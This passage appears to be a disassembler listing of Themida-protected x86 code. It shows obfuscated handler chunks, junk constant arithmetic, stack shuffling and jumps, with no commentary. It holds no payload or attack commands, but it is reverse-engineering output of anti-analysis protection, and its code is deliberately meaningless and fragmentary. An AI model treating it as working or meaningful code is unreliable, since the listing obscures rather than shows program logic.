xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_550A3D
loc_550A46: ; CODE XREF: Themida_:00550A9Ej
; sub_556A70-5F62j ...
lodsb
push bx
mov bh, 60h
sub al, bh
jmp loc_559D10
; END OF FUNCTION CHUNK FOR sub_5AF4AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_550A52: ; CODE XREF: sub_5584F8+2DDAj
pop eax
jmp loc_556457
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550A58: ; CODE XREF: sub_556A70+633Dj
and dh, 0A5h
xor dh, 0A9h
push 281Fh
mov [esp+4+var_4], ecx
push small 5E17h
mov word ptr [esp+6+var_8+2], dx
mov dl, 0C6h
jmp loc_5537A2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_550A75: ; CODE XREF: Themida_:0055B3FEj
mov ch, dl
pop edx
dec ch
jmp loc_5583DF
; ---------------------------------------------------------------------------
loc_550A7F: ; CODE XREF: Themida_:005549CEj
xchg ebp, [esp]
pop esp
mov [esp], esi
jmp loc_55272C
; ---------------------------------------------------------------------------
loc_550A8B: ; CODE XREF: Themida_:0055A226j
push edi
mov edi, 2
sub ebp, 694A58DFh
jmp loc_556A0B
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550AA3: ; CODE XREF: sub_556A70+183Ej
dec bl
mov dh, bl
pop ebx
jmp loc_55BBE1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_550AAD: ; CODE XREF: sub_5584F8-32F3j
inc ebx
not ebx
xor ebx, 0FFEDCB1Ch
sub ecx, 2FDE1DAEh
add ecx, ebx
add ecx, 2FDE1DAEh
pop ebx
and eax, ecx
pop ecx
or eax, eax
jz loc_5560D1
push dword ptr [edi+1Ch]
push [esp-8+arg_4]
mov ecx, [esp-4+arg_0]
push esi
jmp loc_55B3BE
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_550ADF: ; CODE XREF: Themida_:0055CB5Bj
pop bx
jmp loc_555EB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550AE6: ; CODE XREF: sub_556A70-103Fj
pop esp
add eax, ecx
pop ecx
jmp loc_557207
; ---------------------------------------------------------------------------
loc_550AEF: ; CODE XREF: sub_556A70+402Bj
add eax, ecx
mov ecx, [esp-6+arg_0+2]
add esp, 4
xchg eax, [esp-0Ah+arg_4+2]
mov esp, [esp-0Ah+arg_4+2]
push ecx
jmp loc_55514A
; ---------------------------------------------------------------------------
loc_550B06: ; CODE XREF: sub_556A70+1924j
pop edx
push [esp-0Ah+arg_4+2]
pop ebx
add esp, 4
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_550B13: ; CODE XREF: sub_552B74+5627j
mov cl, 0C9h
sub cl, 53h
shr cl, 1
shr cl, 6
sub cl, 35h
mov ah, cl
jmp loc_55BB7E
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550B27: ; CODE XREF: sub_556A70+1E8Ej
add ebx, 2E1568BEh
inc ebx
push edi
jmp loc_5574ED
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_550B34: ; CODE XREF: Themida_:00559547j
push esp
jmp loc_55B2D7
; ---------------------------------------------------------------------------
loc_550B3A: ; CODE XREF: Themida_:00552FF5j
push edx
mov edx, 5F5B0074h
shr edx, 7
jmp loc_55A93C
; ---------------------------------------------------------------------------
loc_550B48: ; CODE XREF: Themida_:00552D1Ej
push esp
pop eax
push esi
mov esi, 71527B80h
add esi, 52D56A6Eh
push ecx
mov ecx, 4F6A3F75h
sub esi, 0E322351h
sub esi, ecx
jmp loc_554CD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550B69: ; CODE XREF: sub_556A70-1D13j
sub edx, 0DC05DFB8h
xor eax, edx
jmp loc_55C2D6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
loc_550B76: ; CODE XREF: sub_55AA5F-7789j
push edi
mov edi, 0FFBFFF9Fh
add ecx, edi
jmp loc_5545E1
; END OF FUNCTION CHUNK FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553D0
loc_550B83: ; CODE XREF: sub_5553D0-3489j
pop ecx
add esp, 4
push eax
jmp loc_5594A7
; END OF FUNCTION CHUNK FOR sub_5553D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550B90: ; CODE XREF: sub_556A70-B2Fj
add [esp-0Ah+arg_4+2], 4
pop eax
push esi
mov esi, 4
add eax, esi
pop esi
add eax, 4
xchg eax, [esp-0Eh+arg_8+2]
mov esp, [esp-0Eh+arg_8+2]
jmp loc_55C3B3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsb
jmp loc_55A594
; ---------------------------------------------------------------------------
loc_550BB5: ; CODE XREF: Themida_:005582E7j
pop esp
jmp loc_5560FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550BBB: ; CODE XREF: sub_556A70-380Cj
pop edx
and ecx, ebx
push [esp-12h+arg_C+2]
mov ebx, [esp-0Eh+arg_8+2]
add esp, 4
push edi
mov edi, esp
jmp loc_5579F0
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554299
loc_550BD2: ; CODE XREF: sub_554299+7C39j
xchg ebp, [esp+0]
pop esp
shl [esp-4+arg_0], cl
jmp loc_55BF23
; END OF FUNCTION CHUNK FOR sub_554299
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550BDE: ; CODE XREF: sub_556A70+A20j
add esi, 7D375955h
or esi, 5E703305h
sub esi, 8A465857h
jmp loc_55BA3B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_550BF5: ; CODE XREF: sub_553D17+23D2j
mov [esp+8+var_8], edx
jmp loc_55CDC6
; END OF FUNCTION CHUNK FOR sub_553D17
; =============== S U B R O U T I N E =======================================
sub_550BFD proc near ; CODE XREF: sub_556A70+1C09j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00551799 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055528B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055627F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559427 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005598EC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00559DB4 SIZE 0000000C BYTES
push ebx
mov ebx, 1F380A95h
xor ebx, 7F2414BDh
shr ebx, 6
neg ebx
or ebx, 48887296h
dec ebx
jmp loc_55627F
sub_550BFD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_550C1A: ; CODE XREF: sub_5584F8-3925j
shl ebp, 4
dec ebp
push 30C5h
mov [esp+4+var_4], eax
jmp loc_55A119
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_550C2B: ; CODE XREF: Themida_:005520F9j
and bl, cl
pop ecx
push ax
mov ah, 86h
sub bl, ah
pop ax
jmp loc_558128
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_550C3B: ; CODE XREF: sub_5516F8+A90Aj
xchg eax, ecx
add ecx, 0FFFFFFFFh
not ecx
shl ecx, 3
jmp loc_555233
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550C49: ; CODE XREF: sub_556A70+1995j
pop ax
jmp loc_552EF2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_550C50: ; CODE XREF: Themida_:00555A93j
mov [esp], ebx
mov bh, al
mov dl, bh
mov ebx, [esp]
jmp loc_55A27E
; ---------------------------------------------------------------------------
loc_550C5F: ; CODE XREF: Themida_:0055814Ej
add eax, 27931919h
add eax, esi
push edx
mov edx, 4D065FF9h
dec edx
add edx, 8110428h
dec edx
add edx, 0EE94252h
dec edx
sub edx, 3C6D8D57h
sub eax, edx
pop edx
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
push edi
push esp
pop edi
jmp loc_552CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550C99: ; CODE XREF: sub_556A70-3B97j
xor ebx, 43465CF4h
add edi, ebx
pop ebx
push eax
mov eax, 739F340Dh
jmp loc_55BC3E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_550CAD: ; CODE XREF: Themida_:00554CA7j
sub dh, 1Dh
or dh, 0C3h
xor dh, 5Dh
add al, dh
jmp loc_5563AF
; ---------------------------------------------------------------------------
loc_550CBD: ; CODE XREF: Themida_:0055BC08j
not al
shr al, 7
and al, 2Eh
xor al, 4Ch
add al, 8Eh
mov dh, al
pop eax
add al, dh
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_55CDB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55ABA3
loc_550CE4: ; CODE XREF: sub_55ABA3+21DDj
add esp, 4
jmp loc_552F51
; END OF FUNCTION CHUNK FOR sub_55ABA3
; ---------------------------------------------------------------------------
loc_550CEC: ; CODE XREF: Themida_:0055B5F0j
mov ebp, [esp]
jmp loc_558F85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550CF4: ; CODE XREF: sub_556A70+195Aj
pop [esp-10h+arg_C]
push [esp-14h+arg_10]
push [esp-10h+arg_C]
jmp loc_5529F8
; ---------------------------------------------------------------------------
loc_550D02: ; CODE XREF: sub_556A70-CBBj
or eax, eax
jz sub_553651
push dword ptr [edi+1Ch]
mov ecx, [esp-8+arg_4]
jmp loc_55366A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_550D15: ; CODE XREF: sub_5584F8-6497j
mov ebx, ebp
jmp loc_55897A
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_550D1C: ; CODE XREF: Themida_:00554D0Fj
add esp, 4
push eax
mov ah, 3Eh
add ah, 89h
and ah, 6Bh
xor ah, 50h
jmp loc_552B6C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550D33: ; CODE XREF: sub_556A70+800j
sub eax, 4A5F0080h
add eax, 22DC0DEEh
add eax, 77107898h
jmp loc_555CAC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_550D47: ; CODE XREF: Themida_:0055986Aj
shr dword ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_550D50: ; CODE XREF: sub_555B85-31E1j
dec ecx
push edi
mov edi, 26F84E88h
dec edi
inc edi
inc edi
jmp loc_553C39
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
lodsb
push edx
mov dl, 30h
push ecx
mov cl, 0CBh
sub cl, 0FFh
jmp loc_559F1A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_550D6E: ; CODE XREF: sub_55B730-5024j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
or edx, eax
shl edx, 1
push 4941h
mov [esp+8+var_8], ebp
push ebx
mov ebx, 2E9B366Bh
add ebx, 6A772E1Fh
sub ebx, 7F0F632Ch
dec ebx
push ebp
mov ebp, 3B8254C2h
jmp loc_55AD65
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550DAA: ; CODE XREF: sub_556A70-54D4j
push 23B1h
mov [esp-4+arg_0], ecx
push [esp-4+arg_4]
pop ecx
jmp loc_555823
; ---------------------------------------------------------------------------
loc_550DBC: ; CODE XREF: sub_556A70-1D49j
push edx
jmp loc_55301E
; ---------------------------------------------------------------------------
loc_550DC2: ; CODE XREF: sub_556A70+E23j
mov [esp+0], edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_555A2E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_550DD8: ; CODE XREF: Themida_:0055B0C3j
inc ah
not ah
push edx
mov dh, 9Eh
push eax
mov al, dh
jmp loc_553336
; ---------------------------------------------------------------------------
loc_550DE7: ; CODE XREF: Themida_:0055CA30j
push edx
mov edx, 1BA23591h
add edx, 414A29E4h
sub eax, edx
jmp loc_55CBD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550DFA: ; CODE XREF: sub_556A70+4A86j
push 1B0h
mov [esp+4+var_4], esi
pop ebp
pop esi
add edx, 6CC05474h
add edx, ebp
sub edx, 6CC05474h
pop ebp
xchg edx, [esp-8+arg_4]
jmp loc_5514BB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_550E1B: ; CODE XREF: sub_552634+9000j
dec esi
jmp loc_556A61
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550E21: ; CODE XREF: sub_556A70+5781j
and ecx, ebx
pop ebx
shr ecx, 7
jmp loc_55AA31
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_550E2C proc near ; CODE XREF: sub_556A70+724j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00552E96 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005563BC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00557EF3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00557F90 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A1F2 SIZE 00000012 BYTES
sub esp, 4
jmp loc_557EF3
sub_550E2C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_550E34: ; CODE XREF: Themida_:00553954j
pop ebx
add edi, 6E8455E4h
add edi, ecx
sub edi, 6E8455E4h
pop ecx
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_55315A
; ---------------------------------------------------------------------------
loc_550E52: ; CODE XREF: Themida_:0055C955j
mov [esp], esi
push edi
mov edi, 0AEB2330h
jmp loc_556747
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550E60: ; CODE XREF: sub_556A70-5A82j
mov [esp-0Ch+arg_8], esi
push edx
mov edx, 10B625A8h
sub edx, 1
dec edx
xor edx, 481045F9h
push ebp
jmp loc_55842D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
loc_550E79: ; CODE XREF: sub_55AA5F-2171j
pop esp
movzx ecx, ax
sub esp, 4
mov [esp+4+var_4], edx
push esp
pop edx
push 0F04h
mov [esp+8+var_8], ebp
mov ebp, 4
sub edx, 3BDA4DD9h
add edx, ebp
jmp loc_552536
; END OF FUNCTION CHUNK FOR sub_55AA5F
; ---------------------------------------------------------------------------
lodsb
push edx
mov dh, 0CAh
sub al, dh
pop edx
jmp loc_55921B
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 50EDh
mov [esp], ebx
push esp
pop ebx
add ebx, 4
push esi
push ecx
jmp loc_553DA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_550ED1: ; CODE XREF: sub_552E24+82BCj
push ecx
mov ecx, 0DAB0EEF8h
jmp loc_55CD39
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
loc_550EDC: ; CODE XREF: Themida_:0055A1E3j
push 781h
mov [esp], ebx
mov ebx, 37A11030h
inc ebx
jmp loc_551D14
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550EEF: ; CODE XREF: sub_556A70-2036j
add edi, 4
push 535Ah
mov [esp+0], ebx
push ecx
push 323D1B18h
jmp loc_5515B2
; ---------------------------------------------------------------------------
loc_550F08: ; CODE XREF: sub_556A70+1B1j
push edx
mov edx, 5B2E2950h
and edx, 31235D1Ch
jmp loc_559179
; ---------------------------------------------------------------------------
loc_550F19: ; CODE XREF: sub_556A70-410Aj
add edx, 0ACDF7D9Ch
add eax, edx
pop edx
add eax, edi
mov dword ptr [eax], 0
pop eax
loc_550F2B: ; CODE XREF: sub_556A70-3B70j
; sub_556A70-268Aj
mov ebx, [esp+4+var_4]
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp+0Ch+var_C], eax
mov eax, 540B4433h
push ecx
mov ecx, 24B0114Fh
and eax, ecx
pop ecx
jmp loc_55641C
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_550F53 proc near ; CODE XREF: sub_556A70+3889j
var_C = dword ptr -0Ch
; FUNCTION CHUNK AT 00552C5A SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005583A0 SIZE 0000000A BYTES
push ebx
mov ebx, 48C27B18h
jmp loc_552C5A
sub_550F53 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550F5E: ; CODE XREF: sub_556A70+51C9j
xor [esp+0Ch+var_C], esi
xor esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_556A18
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_550F6C: ; CODE XREF: sub_5566B9-3A9j
mov ebp, 216B4127h
push esi
mov esi, 4299369Ah
mov ecx, esi
jmp loc_558EAC
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_550F7E: ; CODE XREF: sub_5584F8-22B7j
mov edx, 2F661BE8h
push ecx
mov ecx, 67B66738h
or edx, ecx
pop ecx
sub edx, 99D4555Bh
sub ebp, edx
pop edx
mov edx, ebp
pop ebp
add [esp-4+arg_4], 563C6DCFh
jmp loc_55CA93
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_550FA5: ; CODE XREF: Themida_:0055C6ADj
mov edx, esp
jmp loc_551A7C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_550FAC: ; CODE XREF: sub_556A70-25FDj
push eax
mov eax, 66BB2037h
xchg eax, edx
not edx
xchg eax, edx
dec eax
add eax, 66BB203Dh
jmp loc_55778F
; ---------------------------------------------------------------------------
loc_550FC1: ; CODE XREF: sub_556A70-2861j
mov edi, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
mov ecx, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
jmp loc_558E9C
; ---------------------------------------------------------------------------
loc_550FD9: ; CODE XREF: sub_556A70-D82j
add ebp, 4
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
push 51C5h
jmp loc_550E60
; ---------------------------------------------------------------------------
loc_550FF3: ; CODE XREF: sub_556A70+369Ej
or edi, 4D1B5575h
jmp loc_556CA2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_550FFE: ; CODE XREF: Themida_:00557BE6j
mov [esp], ecx
mov cl, 0BDh
push bx
jmp loc_554D38
; ---------------------------------------------------------------------------
loc_55100A: ; CODE XREF: Themida_:0055A5DAj
mov [esp], ecx
push 402Eh
mov [esp], eax
mov eax, 712F3DA6h
mov ecx, 25DC5571h
xor ecx, eax
pop eax
sub ecx, 54F368D5h
jmp loc_55C394
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55102D: ; CODE XREF: sub_556A70-57Cj
add ebp, eax
pop eax
jmp loc_55CB44
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_559023
; ---------------------------------------------------------------------------
loc_55104D: ; CODE XREF: Themida_:00558377j
mov ecx, [esp]
jmp loc_5594CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551055: ; CODE XREF: sub_556A70-5591j
add ebp, 611C64D4h
xor esi, ebp
jmp loc_559D8C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557F09
loc_551062: ; CODE XREF: sub_557F09+4257j
pop edi
xor ebx, 1002054Eh
jmp loc_55639E
; END OF FUNCTION CHUNK FOR sub_557F09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55106E: ; CODE XREF: sub_556A70+4FD9j
mov word ptr [esp+4+var_4], bx
push ecx
mov ch, 0FFh
jmp loc_55A1E8
; ---------------------------------------------------------------------------
loc_55107A: ; CODE XREF: sub_556A70+5ECEj
push 1AF6h
mov [esp+0Ch+var_C], edi
push 4
push [esp+10h+var_10]
pop edi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+14h+var_14]
pop esp
add ebp, edi
jmp loc_553010
; ---------------------------------------------------------------------------
loc_5510A5: ; CODE XREF: sub_556A70+5DC5j
mov esp, [esp+10h+var_10]
push ecx
push 3A2Eh
mov [esp+18h+var_18], edx
mov dl, al
mov ch, dl
pop edx
push ebx
mov ebx, 0
sub ebx, 55646909h
add ebx, edx
jmp loc_556846
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CC90
loc_5510C9: ; CODE XREF: sub_55CC90-9CDDj
add eax, 4
xchg eax, [esp+0]
pop esp
add bl, al
add bl, 44h
jmp loc_552884
; END OF FUNCTION CHUNK FOR sub_55CC90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55515F
loc_5510DA: ; CODE XREF: sub_55515F+74D4j
push eax
jmp loc_55280C
; END OF FUNCTION CHUNK FOR sub_55515F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_5510E0: ; CODE XREF: sub_552B74+BBCj
mov cl, 4Ah
push ebx
jmp loc_55294A
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
push 5A5Ah
mov [esp], eax
push dword ptr [esp]
jmp loc_554259
; ---------------------------------------------------------------------------
loc_5510F8: ; CODE XREF: Themida_:00558FDBj
mov [esp], ebx
push eax
jmp loc_55AAB6
; ---------------------------------------------------------------------------
lodsd
push edi
mov edi, 3EC054Dh
sub edi, 0F315C521h
add eax, edi
pop edi
sub eax, ebx
jmp loc_555C13
; ---------------------------------------------------------------------------
loc_551118: ; CODE XREF: Themida_:00555089j
xor eax, esi
jmp loc_553C05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_55111F: ; CODE XREF: sub_553D17+5ECDj
and bl, 8Fh
add bl, 24h
sub ah, bl
pop ebx
sub ah, 8Ah
jmp loc_55433E
; END OF FUNCTION CHUNK FOR sub_553D17
; ---------------------------------------------------------------------------
loc_551130: ; CODE XREF: Themida_:00558F64j
push dword ptr [esp]
pop ecx
push 441Eh
mov [esp], ebx
mov ebx, esp
push 0AC4h
mov [esp], eax
jmp loc_55AE2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55114B: ; CODE XREF: sub_556A70+3B5Dj
add esp, 4
mov ecx, [esp+14h+var_14]
add esp, 4
popa
popf
jmp nullsub_4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55115E: ; CODE XREF: Themida_:005545CFj
push 816h
mov [esp], ebx
mov bh, 17h
and bh, 0F0h
add bh, 0D9h
sub bh, 7Ah
push edx
mov dl, 0ADh
jmp loc_551305
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_551179: ; CODE XREF: sub_5566B9+3Dj
shr ecx, 1
add ecx, 69192E6Bh
shr ecx, 2
shr ecx, 8
not ecx
jmp loc_55A35C
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_55118E: ; CODE XREF: Themida_:0055C39Cj
xor eax, [esp]
xor [esp], eax
jmp loc_55C587
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push eax
mov eax, esp
jmp loc_551D57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5511A5: ; CODE XREF: sub_556A70+29D2j
push ecx
mov ch, 9
sub al, 0BEh
sub al, ch
push dx
mov dh, 0BEh
jmp loc_557AF9
; ---------------------------------------------------------------------------
loc_5511B5: ; CODE XREF: sub_556A70+34F3j
push 730h
mov [esp-0Ah+arg_4+2], edi
mov edi, 551F5326h
not edi
neg edi
xor edi, 12982CF3h
and edx, edi
pop edi
add edx, 0BF58CF6Bh
sub eax, edx
pop edx
jmp loc_552570
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_5511DD: ; CODE XREF: sub_555B85-44D2j
dec ebp
not ebp
add ebp, 76795788h
add ebx, ebp
mov ebp, [esp+0]
add esp, 4
jmp loc_552998
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5511F6: ; CODE XREF: sub_5584F8-6042j
shr ecx, 4
push ebx
jmp loc_5551F7
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_5511FF: ; CODE XREF: Themida_:00555F0Ej
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551204: ; CODE XREF: sub_556A70+5E55j
add esp, 4
mov dword ptr [edi+24h], 72C7434Fh
sub esp, 4
mov [esp-12h+arg_C+2], ecx
jmp sub_559CCC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55121F: ; CODE XREF: Themida_:0055552Bj
neg edx
neg edx
jmp loc_55AFD0
; ---------------------------------------------------------------------------
loc_551228: ; CODE XREF: Themida_:0055B332j
push 690Dh
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
add [esp], eax
pushf
jmp loc_557057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551244: ; CODE XREF: sub_556A70+5FB0j
mov edi, 5EA29E17h
jmp loc_55324A
; ---------------------------------------------------------------------------
loc_55124E: ; CODE XREF: sub_556A70-20ADj
mov [esp-12h+arg_C+2], ebp
sub esp, 4
mov [esp-0Eh+arg_8+2], esi
mov esi, 3435C8Dh
mov ebp, 5B265CFh
xor ebp, esi
mov esi, [esp-0Eh+arg_8+2]
add esp, 4
xor [esp-12h+arg_10+2], ebp
pop ebp
mov eax, [esp-16h+arg_10+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_557543
; ---------------------------------------------------------------------------
loc_551282: ; CODE XREF: sub_556A70+6D0j
pop edi
jmp loc_55A0EC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_559845
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_558FBF
; ---------------------------------------------------------------------------
loc_5512A1: ; CODE XREF: Themida_:0055A284j
mov al, [esp+2]
mov [esp+2], dl
mov dx, [esp]
push ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 40EE4000h
shl edi, 3
jmp loc_557036
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_5512C4: ; CODE XREF: sub_552B74+6j
mov word ptr [esp+4+var_4], dx
mov dl, 2
push ecx
push ebx
mov bh, 22h
mov ch, bh
mov ebx, [esp+0Ch+var_C]
add esp, 4
jmp loc_55A32A
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
loc_5512DB: ; CODE XREF: Themida_:005515D1j
pop ebp
jmp loc_554466
; ---------------------------------------------------------------------------
loc_5512E1: ; CODE XREF: Themida_:00551C8Dj
pop dx
pop eax
jmp loc_554EF3
; ---------------------------------------------------------------------------
loc_5512E9: ; CODE XREF: Themida_:0055695Bj
mov ecx, [esp]
add esp, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_55A65E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5512FD: ; CODE XREF: sub_556A70+5174j
shl dh, 6
jmp loc_554638
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551305: ; CODE XREF: Themida_:00551174j
add dl, 31h
xor dl, 71h
